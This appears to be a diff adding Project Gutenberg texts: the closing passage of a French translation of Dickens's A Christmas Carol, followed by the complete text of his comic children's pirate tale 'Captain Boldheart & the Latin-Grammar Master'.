+entendu.
+
+Ding, din, dong, boum! boum, ding, din, dong! Boum! boum! boum!
+dong! ding, din, dong! boum!
+
+«Oh! superbe, superbe!»
+
+Courant à la fenêtre, il l'ouvrit et regarda dehors. Pas de brume,
+pas de brouillard; un froid clair, éclatant, un de ces froids qui
+vous égayent et vous ravigotent, un de ces froids qui sifflent à
+faire danser le sang dans vos veines; un soleil d'or; un ciel
+divin; un air frais et agréable; des cloches en gaieté. Oh!
+superbe, superbe!
+
+«Quel jour sommes-nous aujourd'hui? cria Scrooge de sa fenêtre à
+un petit garçon endimanché, qui s'était arrêté peut-être pour le
+regarder.
+
+-- Hein? répondit l'enfant ébahi.
+
+-- Quel jour sommes-nous aujourd'hui, mon beau garçon? dit
+Scrooge.
+
+-- Aujourd'hui! repartit l'enfant; mais c'est le jour de Noël.
+
+-- Le jour de Noël! se dit Scrooge. Je ne l'ai donc pas manqué!
+Les esprits ont tout fait en une nuit. Ils peuvent faire tout ce
+qu'ils veulent; qui en doute? certainement qu'ils le peuvent.
+Holà! hé! mon beau petit garçon!
+
+-- Holà! répondit l'enfant.
+
+-- Connais-tu la boutique du marchand de volailles, au coin de la
+seconde rue?
+
+-- Je crois bien!
+
+-- Un enfant plein d'intelligence! dit Scrooge. Un enfant
+remarquable! Sais-tu si l'on a vendu la belle dinde qui était hier
+en montre? pas la petite; la grosse?
+
+-- Ah! celle qui est aussi grosse que moi?
+
+-- Quel enfant délicieux! dit Scrooge. Il y a plaisir à causer
+avec lui. Oui, mon chat!
+
+-- Elle y est encore, dit l'enfant.
+
+-- Vraiment! continua Scrooge. Eh bien, va l'acheter!
+
+-- Farceur! s'écria l'enfant.
+
+-- Non, dit Scrooge, je parle sérieusement. Va acheter et dis
+qu'on me l'apporte; je leur donnerai ici l'adresse où il faut la
+porter. Reviens avec le garçon et je te donnerai un schelling.
+Tiens! si tu reviens avec lui en moins de cinq minutes, je te
+donnerai un écu.»
+
+L'enfant partit comme un trait. Il aurait fallu que l'archer eût
+une main bien ferme sur la détente pour lancer sa flèche moitié
+seulement aussi vite.
+
+«Je l'enverrai chez Bob Cratchit, murmura Scrooge se frottant les
+mains et éclatant de rire. Il ne saura pas d'où cela lui vient.
+Elle est deux fois grosse comme Tiny Tim. Je suis sûr que Bob
+goûtera la plaisanterie; jamais Joe Miller n'en a fait une
+pareille.»
+
+Il écrivit l'adresse d'une main qui n'était pas très ferme, mais
+il l'écrivit pourtant, tant bien que mal, et descendit ouvrir la
+porte de la rue pour recevoir le commis du marchand de volailles.
+Comme il restait là debout à l'attendre, le marteau frappa ses
+regards.
+
+«Je l'aimerai toute ma vie! s'écria-t-il en le caressant de la
+main. Et moi qui, jusqu'à présent, ne le regardais jamais, je
+crois. Quelle honnête expression dans sa figure! Ah! le bon,
+l'excellent marteau! Mais voici la dinde! Holà! hé! Houp, houp!
+comment vous va? Un joyeux Noël!»
+
+C'était une dinde, celle-là! Non, il n'est pas possible qu'il se
+soit jamais tenu sur ses jambes, ce volatile; il les aurait
+brisées en moins d'une minute, comme des bâtons de cire à
+cacheter. «Mais j'y pense, vous ne pourrez pas porter cela jusqu'à
+Camden-Town, mon ami, dit Scrooge; il faut prendre un cab.»
+
+Le rire avec lequel il dit cela, le rire avec lequel il paya la
+dinde, le rire avec lequel il paya le cab, et le rire avec lequel
+il récompensa le petit garçon ne fut surpassé que par le fou rire
+avec lequel il se rassit dans son fauteuil, essoufflé, hors
+d'haleine, et il continua de rire jusqu'aux larmes.
+
+Ce ne lui fut pas chose facile que de se raser, car sa main
+continuait à trembler beaucoup; et cette opération exige une
+grande attention, même quand vous ne dansez pas en vous faisant la
+barbe. Mais il se serait coupé le bout du nez, qu'il aurait mis
+tout tranquillement sur l'entaille un morceau de taffetas
+d'Angleterre sans rien perdre de sa bonne humeur.
+
+Il s'habilla, mit tout ce qu'il avait de mieux, et, sa toilette
+faite, sortit pour se promener dans les rues. La foule s'y
+précipitait en ce moment, telle qu'il l'avait vue en compagnie du
+spectre de Noël présent. Marchant les mains croisées derrière le
+dos, Scrooge regardait tout le monde avec un sourire de
+satisfaction. Il avait l'air si parfaitement gracieux, en un mot,
+que trois ou quatre joyeux gaillards ne purent s'empêcher de
+l'interpeller. «Bonjour, monsieur! Un joyeux Noël, monsieur!» Et
+Scrooge affirma souvent plus tard que, de tous les sons agréables
+qu'il avait jamais entendus, ceux-là avaient été, sans contredit,
+les plus doux à son oreille.
+
+Il n'avait pas fait beaucoup de chemin, lorsqu'il reconnut, se
+dirigeant de son côté, le monsieur à la tournure distinguée qui
+était venu le trouver la veille dans son comptoir, et lui disant:
+«Scrooge et Marley, je crois?» Il sentit une douleur poignante lui
+traverser le coeur à la pensée du regard qu'allait jeter sur lui
+le vieux monsieur au moment où ils se rencontreraient; mais il
+comprit aussitôt ce qu'il avait à faire, et prit bien vite son
+parti.
+
+«Mon cher monsieur, dit-il en pressant le pas pour lui prendre les
+deux mains, comment vous portez-vous? J'espère que votre journée
+d'hier a été bonne. C'est une démarche qui vous fait honneur! Un
+joyeux Noël, monsieur!
+
+-- Monsieur Scrooge?
+
+-- Oui, c'est mon nom; je crains qu'il ne vous soit pas des plus
+agréables. Permettez que je vous fasse mes excuses. Voudriez-vous
+avoir la bonté... (Ici Scrooge lui murmura quelques mots à
+l'oreille.)
+
+-- Est-il Dieu possible! s'écria ce dernier, comme suffoqué. Mon
+cher monsieur Scrooge, parlez-vous sérieusement?
+
+-- S'il vous plaît, dit Scrooge; pas un liard de moins. Je ne fais
+que solder l'arriéré, je vous assure. Me ferez-vous cette grâce?
+
+-- Mon cher monsieur, reprit l'autre en lui secouant la main
+cordialement, je ne sais comment louer tant de munifi...
+
+-- Pas un mot, je vous prie, interrompit Scrooge. Venez me voir;
+voulez-vous venir me voir?
+
+-- Oui! sans doute», s'écria le vieux monsieur. Évidemment,
+c'était son intention; on ne pouvait s'y méprendre, à son air.
+
+«Merci dit Scrooge. Je vous suis infiniment reconnaissant, je vous
+remercie mille fois. Adieu!»
+
+Il entra à l'église; il parcourut les rues, il examina les gens
+qui allaient et venaient en grande hâte, donna aux enfants de
+petites tapes caressantes sur la tête, interrogea les mendiants
+sur leurs besoins, laissa tomber des regards curieux dans les
+cuisines des maisons, les reporta ensuite aux fenêtres; tout ce
+qu'il voyait lui faisait plaisir. Il ne s'était jamais imaginé
+qu'une promenade, que rien au monde pût lui donner tant de
+bonheur. L'après-midi, il dirigea ses pas du côté de la maison de
+son neveu.
+
+Il passa et repassa une douzaine de fois devant la porte, avant
+d'avoir le courage de monter le perron et de frapper. Mais enfin
+il s'enhardit et laissa retomber le marteau.
+
+«Votre maître est-il chez lui, ma chère enfant? dit Scrooge à la
+servante... Beau brin de fille, ma foi!
+
+-- Oui, monsieur.
+
+-- Où est-il, mignonne?
+
+-- Dans la salle à manger, monsieur, avec madame. Je vais vous
+conduire au salon, s'il vous plaît.
+
+-- Merci; il me connaît, reprit Scrooge, la main déjà posée sur le
+bouton de la porte de la salle à manger; je vais entrer ici, mon
+enfant.»
+
+Il tourna le bouton tout doucement, et passa la tête de côté par
+la porte entrebâillée. Le jeune couple examinait alors la table
+(dressée comme pour un gala), car ces nouveaux mariés sont
+toujours excessivement pointilleux sur l'élégance du service: ils
+aiment à s'assurer que tout est comme il faut.
+
+«Fred!» dit Scrooge.
+
+Dieu du ciel! comme sa nièce par alliance tressaillit! Scrooge
+avait oublié, pour le moment, comment il l'avait vue assise dans
+son coin avec un tabouret sous les pieds, sans quoi il ne serait
+point entré de la sorte; il n'aurait pas osé.
+
+«Dieu me pardonne! s'écria Fred, qui est donc là?
+
+-- C'est moi, votre oncle Scrooge; je viens dîner. Voulez-vous que
+j'entre, Fred?»
+
+S'il voulait qu'il entrât! Peu s'en fallut qu'il ne lui disloquât
+le bras pour le faire entrer. Au bout de cinq minutes, Scrooge fut
+à son aise comme dans sa propre maison. Rien ne pouvait être plus
+cordial que la réception du neveu; la nièce imita son mari; Topper
+en fit autant, lorsqu'il arriva, et aussi la petite soeur
+rondelette, quand elle vint, et tous les autres convives, à mesure
+qu'ils entrèrent. Quelle admirable partie, quels admirables petits
+jeux, quelle admirable unanimité, quel ad-mi-ra-ble bonheur!
+
+Mais le lendemain, Scrooge se rendit de bonne heure au comptoir,
+oh! de très bonne heure. S'il pouvait seulement y arriver le
+premier et surprendre Bob Cratchit en flagrant délit de retard!
+C'était en ce moment sa préoccupation la plus chère.
+
+Il y réussit; oui, il eut ce plaisir! L'horloge sonna neuf heures,
+point de Bob; neuf heures un quart, point de Bob. Bob se trouva en
+retard de dix-huit minutes et demie. Scrooge était assis, la porte
+toute grande ouverte, afin qu'il le pût voir se glisser dans sa
+citerne.
+
+Avant d'ouvrir la porte, Bob avait ôté son chapeau, puis son
+cache-nez: en un clin d'oeil, il fut installé sur son tabouret et
+se mit à faire courir sa plume, comme pour essayer de rattraper
+neuf heures.
+
+«Holà! grommela Scrooge, imitant le mieux qu'il pouvait son ton
+d'autrefois; qu'est-ce que cela veut dire de venir si tard?
+
+-- Je suis bien fâché, monsieur, dit Bob. Je suis en retard.
+
+-- En retard! reprit Scrooge. En effet, il me semble que vous êtes
+en retard. Venez un peu par ici, s'il vous plaît.
+
+-- Ce n'est qu'une fois tous les ans, monsieur, fit Bob timidement
+en sortant de sa citerne; cela ne m'arrivera plus. Je me suis un
+peu amusé hier, monsieur.
+
+-- Fort bien; mais je vous dirai, mon ami, ajouta Scrooge, que je
+ne puis laisser plus longtemps aller les choses comme cela. Par
+conséquent, poursuivit-il, en sautant à bas de son tabouret et en
+portant à Bob une telle botte dans le flanc qu'il le fit trébucher
+jusque dans sa citerne; par conséquent, je vais augmenter vos
+appointements!»
+
+Bob trembla et se rapprocha de la règle de son bureau. Il eut un
+moment la pensée d'en assener un coup à Scrooge, de le saisir au
+collet et d'appeler à l'aide les gens qui passaient dans la ruelle
+pour lui faire mettre la camisole de force.
+
+«Un joyeux Noël, Bob! dit Scrooge avec un air trop sérieux pour
+qu'on pût s'y méprendre et en lui frappant amicalement sur
+l'épaule. Un plus joyeux Noël, Bob, mon brave garçon, que je ne
+vous l'ai souhaité depuis longues années! Je vais augmenter vos
+appointements et je m'efforcerai de venir en aide à votre
+laborieuse famille; ensuite cette après-midi nous discuterons nos
+affaires sur un bol de Noël rempli d'un bischoff fumant, Bob!
+Allumez les deux feux; mais avant de mettre un point sur un _i_,
+Bob Cratchit, allez vite acheter un seau neuf pour le charbon.»
+
+Scrooge fit encore plus qu'il n'avait promis; non seulement il
+tint sa parole, mais il fit mieux, beaucoup mieux. Quant à Tiny
+Tim, qui ne mourut pas, Scrooge fut pour lui un second père.
+
+Il devint un aussi bon ami, un aussi bon maître, un aussi bon
+homme que le bourgeois de la bonne vieille Cité, ou de toute autre
+bonne vieille cité, ville ou bourg, dans le bon vieux monde.
+Quelques personnes rirent de son changement; mais il les laissa
+rire et ne s'en soucia guère; car il en savait assez pour ne pas
+ignorer que, sur notre globe, il n'est jamais rien arrivé de bon
+qui n'ait eu la chance de commencer par faire rire certaines gens.
+Puisqu'il faut que ces gens-là soient aveugles, il pensait
+qu'après tout il vaut tout autant que leur maladie se manifeste
+par les grimaces, qui leur rident les yeux à force de rire, au
+lieu de se produire sous une forme moins attrayante. Il riait lui-
+même au fond du coeur; c'était toute sa vengeance.
+
+Il n'eut plus de commerce avec les esprits; mais il en eut
+beaucoup plus avec les hommes, cultivant ses amis et sa famille
+tout le long de l'année pour bien se préparer à fêter Noël, et
+personne ne s'y entendait mieux que lui: tout le monde lui rendait
+cette justice.
+
+Puisse-t-on en dire autant de vous, de moi, de nous tous, et alors
+comme disait Tiny Tim:
+
+«Que Dieu nous bénisse, tous tant que nous sommes!»
+
+
+
+     [1] Locution proverbiale en Angleterre.
+     [2] Bob, nom populaire pour exprimer un schelling.
+
+
+
+
+
+End of the Project Gutenberg EBook of Cantique de Noël, by Charles Dickens
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+The Project Gutenberg EBook of Captain Boldheart & the Latin-Grammar Master, by 
+Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Captain Boldheart & the Latin-Grammar Master
+       A Holiday Romance from the Pen of Lieut-Col. Robin Redforth, aged 9
+
+Author: Charles Dickens
+
+Illustrator: S. Beatrice  Pearse
+
+Release Date: December 7, 2007 [EBook #23765]
+
+Language: English
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK CAPTAIN BOLDHEART ***
+
+
+
+
+Produced by Geetu Melwani and the Online Distributed
+Proofreading Team at http://www.pgdp.net (This file was
+produced from images generously made available by The
+Internet Archive/American Libraries.)
+
+
+
+
+
+
+
+
+
+CAPTAIN BOLDHEART
+
+BY
+
+CHARLES DICKENS
+
+ILLUSTRATED BY
+BEATRICE PEARSE
+
+
+[Illustration: "Invited them to Breakfast"]
+
+
+
+
+CAPTAIN BOLDHEART
+& THE LATIN-GRAMMAR
+MASTER
+
+A HOLIDAY ROMANCE FROM
+THE PEN OF LIEUT-COL.
+ROBIN REDFORTH
+AGED 9.
+
+BY
+
+CHARLES DICKENS
+
+LONDON: CONSTABLE AND CO. LTD.
+
+
+
+
+FOREWORD
+
+
+The story contained herein was written by Charles Dickens in 1867. It is
+the third of four stories entitled "Holiday Romance" and was published
+originally in a children's magazine in America. It purports to be
+written by a child aged nine. It was republished in England in "All the
+Year Round" in 1868. For this and four other Christmas pieces Dickens
+received £1,000.
+
+"Holiday Romance" was published in book form by Messrs Chapman & Hall in
+1874, with "Edwin Drood" and other stories.
+
+For this reprint the text of the story as it appeared in "All the Year
+Round" has been followed.
+
+
+
+
+CAPTAIN BOLDHEART AND THE LATIN-GRAMMAR MASTER
+
+
+The subject of our present narrative would appear to have devoted
+himself to the Pirate profession at a comparatively early age. We find
+him in command of a splendid schooner of one hundred guns, loaded to the
+muzzle, 'ere yet he had had a party in honour of his tenth birthday.
+
+It seems that our hero, considering himself spited by a
+Latin-Grammar-Master, demanded the satisfaction due from one man of
+honour to another. Not getting it, he privately withdrew his haughty
+spirit from such low company, bought a second-hand pocket-pistol, folded
+up some sandwiches in a paper bag, made a bottle of Spanish
+liquorice-water, and entered on a career of valour.
+
+It were tedious to follow Boldheart (for such was his name) through the
+commencing stages of his history. Suffice it that we find him bearing
+the rank of Captain Boldheart, reclining in full uniform on a crimson
+hearth-rug spread out upon the quarter-deck of his schooner the Beauty,
+in the China Seas. It was a lovely evening, and as his crew lay grouped
+about him, he favoured them with the following melody:
+
+     O landsmen are folly!
+     O Pirates are jolly!
+     O Diddleum Dolly,
+                      Di!
+         (_Chorus_) Heave yo.
+
+The soothing effect of these animated sounds floating over the waters,
+as the common sailors united their rough voices to take up the rich
+tones of Boldheart, may be more easily conceived than described.
+
+It was under these circumstances that the lookout at the masthead gave
+the word, "Whales!"
+
+All was now activity.
+
+"Where away?" cried Captain Boldheart, starting up.
+
+"On the larboard bow, sir," replied the fellow at the masthead, touching
+his hat. For such was the height of discipline on board of the Beauty,
+that even at that height he was obliged to mind it or be shot through
+the head.
+
+[Illustration: "His crew lay grouped around him"]
+
+"This adventure belongs to me," said Boldheart. "Boy, my harpoon. Let
+no man follow;" and leaping alone into his boat, the captain rowed with
+admirable dexterity in the direction of the monster.
+
+All was now excitement.
+
+"He nears him!" said an elderly seaman, following the captain through
+his spy-glass.
+
+"He strikes him!" said another seaman, a mere stripling, but also with a
+spy-glass.
+
+"He tows him towards us!" said another seaman, a man in the full vigour
+of life, but also with a spy-glass.
+
+In fact the captain was seen approaching, with the huge bulk following.
+We will not dwell on the deafening cries of "Boldheart! Boldheart!" with
+which he was received, when, carelessly leaping on the quarter-deck, he
+presented his prize to his men. They afterwards made two thousand four
+hundred and seventeen pound ten and sixpence by it.
+
+Ordering the sails to be braced up, the captain now stood W.N.W. The
+Beauty flew rather than floated over the dark blue waters. Nothing
+particular occurred for a fortnight, except taking, with considerable
+slaughter, four Spanish galleons, and a Snow from South America, all
+richly laden. Inaction began to tell upon the spirits of the men.
+Captain Boldheart called all hands aft, and said:
+
+"My lads, I hear there are discontented ones among ye. Let any such
+stand forth."
+
+After some murmuring, in which the expressions, "Aye, aye, sir!" "Union
+Jack!" "Avast," "Starboard," "Port," "Bowsprit," and similar indications
+of a mutinous undercurrent, though subdued, were audible, Bill Boozey,
+captain of the foretop, came out from the rest. His form was that of a
+giant, but he quailed under the captain's eye.
+
+"What are your wrongs?" said the captain.
+
+"Why, d'ye see, Captain Boldheart," replied the towering mariner, "I've
+sailed man and boy for many a year, but I never yet know'd the milk
+served out for the ship's company's teas to be so sour as 'tis aboard
+this craft."
+
+[Illustration: THE RESCUE OF WILLIAM BOOZEY.]
+
+At this moment the thrilling cry, "Man overboard!" announced to the
+astonished crew that Boozey, in stepping back, as the captain (in mere
+thoughtfulness) laid his hand upon the faithful pocket-pistol which he
+wore in his belt, had lost his balance, and was struggling with the
+foaming tide.
+
+All was now stupefaction.
+
+But, with Captain Boldheart, to throw off his uniform coat regardless of
+the various rich orders with which it was decorated, and to plunge into
+the sea after the drowning giant, was the work of a moment. Maddening
+was the excitement when boats were lowered; intense the joy when the
+captain was seen holding up the drowning man with his teeth; deafening
+the cheering when both were restored to the main deck of the Beauty. And
+from the instant of his changing his wet clothes for dry ones, Captain
+Boldheart had no such devoted though humble friend as William Boozey.
+
+Boldheart now pointed to the horizon, and called the attention of his
+crew to the taper spars of a ship lying snug in harbour under the guns
+of a fort.
+
+"She shall be ours at sunrise," said he. "Serve out a double allowance
+of grog, and prepare for action."
+
+All was now preparation.
+
+When morning dawned after a sleepless night, it was seen that the
+stranger was crowding on all sail to come out of the harbour and offer
+battle. As the two ships came nearer to each other, the stranger fired a
+gun and hoisted Roman colours. Boldheart then perceived her to be the
+Latin-Grammar-Master's bark. Such indeed she was, and had been tacking
+about the world in unavailing pursuit, from the time of his first taking
+to a roving life.
+
+Boldheart now addressed his men, promising to blow them up if he should
+feel convinced that their reputation required it, and giving orders that
+the Latin-Grammar-Master should be taken alive. He then dismissed them
+to their quarters, and the fight began with a broadside from The Beauty.
+She then veered round, and poured in another. The Scorpion (so was the
+bark of the Latin-Grammar-Master appropriately called) was not slow to
+return her fire, and a terrific cannonading ensued, in which the guns of
+The Beauty did tremendous execution.
+
+The Latin-Grammar-Master was seen upon the poop, in the midst of the
+smoke and fire, encouraging his men. To do him justice, he was no
+Craven, though his white hat, his short grey trousers, and his long
+snuff-coloured surtout reaching to his heels--the self-same coat in
+which he had spited Boldheart--contrasted most unfavourably with the
+brilliant uniform of the latter. At this moment Boldheart, seizing a
+pike and putting himself at the head of his men, gave the word to board.
+
+A desperate conflict ensued in the hammock nettings--or somewhere in
+about that direction--until the Latin-Grammar-Master, having all his
+masts gone, his hull and rigging shot through and through, and seeing
+Boldheart slashing a path towards him, hauled down his flag himself,
+gave up his sword to Boldheart, and asked for quarter. Scarce had he
+been put into the captain's boat, 'ere The Scorpion went down with all
+on board.
+
+On Captain Boldheart's now assembling his men, a circumstance occurred.
+He found it necessary with one blow of his cutlass to kill the Cook,
+who, having lost his brother in the late action, was making at the
+Latin-Grammar-Master in an infuriated state, intent on his destruction
+with a carving-knife.
+
+Captain Boldheart then turned to the Latin-Grammar-Master, severely
+reproaching him with his perfidy, and put it to his crew what they
+considered that a master who spited a boy deserved?
+
+They answered with one voice, "Death."
+
+"It may be so," said the Captain; "but it shall never be said that
+Boldheart stained his hour of triumph with the blood of his enemy.
+Prepare the cutter."
+
+The cutter was immediately prepared.
+
+"Without taking your life," said the Captain, "I must yet for ever
+deprive you of the power of spiting other boys. I shall turn you adrift
+in this boat. You will find in her two oars, a compass, a bottle of rum,
+a small cask of water, a piece of pork, a bag of biscuit, and my Latin
+grammar. Go! and spite the natives, if you can find any."
+
+Deeply conscious of this bitter sarcasm, the unhappy wretch was put into
+the cutter, and was soon left far behind. He made no effort to row, but
+was seen lying on his back with his legs up, when last made out by the
+ship's telescopes.
+
+A stiff breeze now beginning to blow, Captain Boldheart gave orders to
+keep her S.S.W., easing her a little during the night by falling off a
+point or two W. by W., or even by W.S., if she complained much. He then
+retired for the night, having in truth much need of repose. In addition
+to the fatigues he had undergone, this brave officer had received
+sixteen wounds in the engagement, but had not mentioned it.
+
+In the morning a white squall came on, and was succeeded by other
+squalls of various colours. It thundered and lightened heavily for six
+weeks. Hurricanes then set in for two months. Waterspouts and tornadoes
+followed. The oldest sailor on board--and he was a very old one--had
+never seen such weather. The Beauty lost all idea where she was, and the
+carpenter reported six feet two of water in the hold. Everybody fell
+senseless at the pumps every day.
+
+Provisions now ran very low. Our hero put the crew on short allowance,
+and put himself on shorter allowance than any man in the ship. But his
+spirit kept him fat. In this extremity, the gratitude of Boozey, the
+captain of the foretop whom our readers may remember, was truly
+affecting. The loving though lowly William repeatedly requested to be
+killed, and preserved for the captain's table.
+
+We now approach a change in affairs.
+
+One day during a gleam of sunshine and when the weather had moderated,
+the man at the masthead--too weak now to touch his hat, besides its
+having been blown away--called out,
+
+"Savages!"
+
+All was now expectation.
+
+Presently fifteen hundred canoes, each paddled by twenty savages, were
+seen advancing in excellent order. They were a light green colour (the
+Savages were), and sang, with great energy, the following strain:
+
+  Choo a choo a choo tooth.
+    Muntch, muntch. Nycey!
+  Choo a choo a choo tooth.
+    Muntch, muntch. Nyce!
+
+As the shades of night were by this time closing in, these expressions
+were supposed to embody this simple people's views of the Evening Hymn.
+But it too soon appeared that the song was a translation of "For what
+we are going to receive," &c.
+
+The chief, imposingly decorated with feathers of lively colours, and
+having the majestic appearance of a fighting Parrot, no sooner
+understood (he understood English perfectly) that the ship was The
+Beauty, Captain Boldheart, than he fell upon his face on the deck, and
+could not be persuaded to rise until the captain had lifted him up, &
+told him he wouldn't hurt him. All the rest of the savages also fell on
+their faces with marks of terror, and had also to be lifted up one by
+one. Thus the fame of the great Boldheart had gone before him, even
+among these children of Nature.
+
+Turtles and oysters were now produced in astonishing numbers, and on
+these and yams the people made a hearty meal. After dinner the Chief
+told Captain Boldheart that there was better feeding up at the village,
+and that he would be glad to take him and his officers there.
+Apprehensive of treachery, Boldheart ordered his boat's crew to attend
+him completely armed. And well were it for other commanders if their
+precautions--but let us not anticipate.
+
+[Illustration: "Arm-in-arm with the Chief"]
+
+[Illustration: "TWO SAVAGES FLOURED HIM BEFORE PUTTING HIM TO THE
+FIRE."]
+
+When the canoes arrived at the beach, the darkness of the night was
+illumined by the light of an immense fire. Ordering his boat's crew
+(with the intrepid though illiterate William at their head) to keep
+close and be upon their guard, Boldheart bravely went on, arm-in-arm
+with the Chief.
+
+But how to depict the captain's surprise when he found a ring of Savages
+singing in chorus that barbarous translation of "For what we are going
+to receive, &c.," which has been given above, and dancing hand-in-hand
+round the Latin-Grammar-Master, in a hamper with his head shaved, while
+two savages floured him, before putting him to the fire to be cooked!
+
+Boldheart now took counsel with his officers on the course to be
+adopted. In the mean time, the miserable captive never ceased begging
+pardon and imploring to be delivered. On the generous Boldheart's
+proposal, it was at length resolved that he should not be cooked, but
+should be allowed to remain raw, on two conditions. Namely,
+
+     1. That he should never under any circumstances presume to teach
+     any boy any thing any more.
+
+     2. That, if taken back to England, he should pass his life in
+     travelling to find out boys who wanted their exercises done, and
+     should do their exercises for those boys for nothing, and never say
+     a word about it.
+
+Drawing his sword from its sheath, Boldheart swore him to these
+conditions on its shining blade. The prisoner wept bitterly, and
+appeared acutely to feel the errors of his past career.
+
+The captain then ordered his boat's crew to make ready for a volley, and
+after firing to re-load quickly. "And expect a score or two on ye to go
+head over heels," murmured William Boozey; "for I'm a looking at ye."
+With those words the derisive though deadly William took a good aim.
+
+"Fire!"
+
+The ringing voice of Boldheart was lost in the report of the guns and
+the screeching of the savages. Volley after volley awakened the numerous
+echoes. Hundreds of savages were killed, hundreds wounded, and thousands
+ran howling into the woods. The Latin-Grammar-Master had a spare
+night-cap lent him, and a longtail coat which he wore hind side
+before. He presented a ludicrous though pitiable appearance, and serve
+him right.
+
+[Illustration: "THE LATIN-GRAMMAR-MASTER HAD A SPARE NIGHTCAP LENT HIM
+AND A LONGTAIL COAT WHICH HE WORE HIND SIDE BEFORE."]
+
+[Illustration: "ERE THE SUN WENT DOWN FULL MANY A HORNPIPE HAD BEEN
+DANCED ... BY THE UNCOUTH THOUGH AGILE WILLIAM."]
+
+We now find Captain Boldheart, with this rescued wretch on board,
+standing off for other islands. At one of these, not a cannibal island,
+but a pork and vegetable one, he married (only in fun on his part) the
+King's daughter. Here he rested some time, receiving from the natives
+great quantities of precious stones, gold dust, elephants' teeth, and
+sandal wood, and getting very rich. This, too, though he almost every
+day made presents of enormous value to his men.
+
+The ship being at length as full as she could hold of all sorts of
+valuable things, Boldheart gave orders to weigh the anchor, and turn the
+Beauty's head towards England. These orders were obeyed with three
+cheers, and ere the sun went down full many a hornpipe had been danced
+on deck by the uncouth though agile William.
+
+We next find Captain Boldheart about three leagues off Madeira,
+surveying through his spy-glass a stranger of suspicious appearance
+making sail towards him. On his firing a gun ahead of her to bring
+her to, she ran up a flag, which he instantly recognized as the flag
+from the mast in the back-garden at home.
+
+[Illustration: "Married the Chief's daughter"]
+
+Inferring from this, that his father had put to sea to seek his
+long-lost son, the captain sent his own boat on board the stranger, to
+inquire if this was so, and if so, whether his father's intentions were
+strictly honourable. The boat came back with a present of greens and
+fresh meat, and reported that the stranger was The Family of twelve
+hundred tons, and had not only the captain's father on board, but also
+his mother, with the majority of his aunts and uncles, and all his
+cousins. It was further reported to Boldheart that the whole of these
+relations had expressed themselves in a becoming manner, and were
+anxious to embrace him and thank him for the glorious credit he had done
+them. Boldheart at once invited them to breakfast next morning on board
+the Beauty, and gave orders for a brilliant ball that should last all
+day.
+
+It was in the course of the night that the captain discovered the
+hopelessness of reclaiming the Latin-Grammar-Master. That thankless
+traitor was found out, as the two ships lay near each other,
+communicating with The Family by signals, and offering to give up
+Boldheart. He was hanged at the yard-arm the first thing in the morning,
+after having it impressively pointed out to him by Boldheart that this
+was what spiters came to.
+
+The meeting between the captain and his parents was attended with tears.
+His uncles and aunts would have attended their meeting with tears too,
+but he wasn't going to stand that. His cousins were very much astonished
+by the size of his ship and the discipline of his men, and were greatly
+overcome by the splendour of his uniform. He kindly conducted them round
+the vessel, and pointed out every thing worthy of notice. He also fired
+his hundred guns, and found it amusing to witness their alarm.
+
+The entertainment surpassed everything ever seen on board ship, and
+lasted from ten in the morning until seven the next morning. Only one
+disagreeable incident occurred. Captain Boldheart found himself obliged
+to put his cousin Tom in irons, for being disrespectful. On the boy's
+promising amendment, however, he was humanely released after a few
+hours' close confinement.
+
+Boldheart now took his mother down into the great cabin, and asked after
+the young lady with whom, it was well known to the world, he was in
+love. His mother replied that the object of his affections was then at
+school at Margate, for the benefit of sea-bathing (it was the month of
+September), but that she feared the young lady's friends were still
+opposed to the union. Boldheart at once resolved, if necessary, to
+bombard the town.
+
+Taking the command of his ship with this intention, and putting all but
+fighting men on board The Family, with orders to that vessel to keep in
+company, Boldheart soon anchored in Margate Roads. Here he went ashore
+well-armed, and attended by his boat's crew (at their head the faithful
+though ferocious William), and demanded to see the Mayor, who came out
+of his office.
+
+"Dost know the name of yon ship, Mayor?" asked Boldheart fiercely.
+
+[Illustration: "DOST KNOW THE NAME OF YON SHIP, MAYOR?"]
+
+[Illustration: STANDING SENTRY OVER HIM]
+
+"No," said the Mayor, rubbing his eyes, which he could scarce believe
+when he saw the goodly vessel riding at anchor.
+
+"She is named the Beauty," said the captain.
+
+"Hah!" exclaimed the Mayor, with a start. "And you, then, are Captain
+Boldheart?"
+
+"The same."
+
+A pause ensued. The Mayor trembled.
+
+"Now, Mayor," said the captain, "choose. Help me to my Bride, or be
+bombarded."
+
+The Mayor begged for two hours' grace, in which to make inquiries
+respecting the young lady. Boldheart accorded him but one; and during
+that one placed William Boozey sentry over him, with a drawn sword and
+instructions to accompany him wherever he went, and to run him through
+the body if he showed a sign of playing false.
+
+At the end of the hour, the Mayor re-appeared more dead than alive,
+closely waited on by Boozey more alive than dead.
+
+[Illustration: "His lovely Bride came forth"]
+
+"Captain," said the Mayor, "I have ascertained that the young lady is
+going to bathe. Even now she waits her turn for a machine. The tide is
+low, though rising. I, in one of our town-boats, shall not be
+suspected. When she comes forth in her bathing-dress into the shallow
+water from behind the hood of the machine, my boat shall intercept her
+and prevent her return. Do you the rest."
+
+"Mayor," returned Capt. Boldheart, "thou hast saved thy town."
+
+The captain then signalled his boat to take him off, and steering her
+himself ordered her crew to row towards the bathing-ground, and there to
+rest upon their oars. All happened as had been arranged. His lovely
+bride came forth, the Mayor glided in behind her, she became confused
+and had floated out of her depth, when, with one skilful touch of the
+rudder and one quivering stroke from the boat's crew, her adoring
+Boldheart held her in his strong arms. There her shrieks of terror were
+changed to cries of joy.
+
+Before the Beauty could get under weigh, the hoisting of all the flags
+in the town and harbour, and the ringing of all the bells, announced to
+the brave Boldheart that he had nothing to fear. He therefore determined
+to be married on the spot, and signalled for a clergyman and clerk, who
+came off promptly in a sailing-boat named the Skylark. Another great
+entertainment was then given on board the Beauty, in the midst of which
+the Mayor was called out by a messenger. He returned with the news that
+Government had sent down to know whether Captain Boldheart, in
+acknowledgment of the great services he had done his country by being a
+Pirate, would consent to be made a Lieutenant-Colonel. For himself he
+would have spurned the worthless boon, but his Bride wished it and he
+consented.
+
+Only one thing further happened before the good ship Family was
+dismissed, with rich presents to all on board. It is painful to record
+(but such is human nature in some cousins) that Captain Boldheart's
+unmannerly cousin Tom was actually tied up to receive three dozen with a
+rope's end "for cheekyness and making games," when Captain Boldheart's
+lady begged for him and he was spared. The Beauty then refitted, and the
+Captain and his Bride departed for the Indian Ocean to enjoy themselves
+for evermore.
+
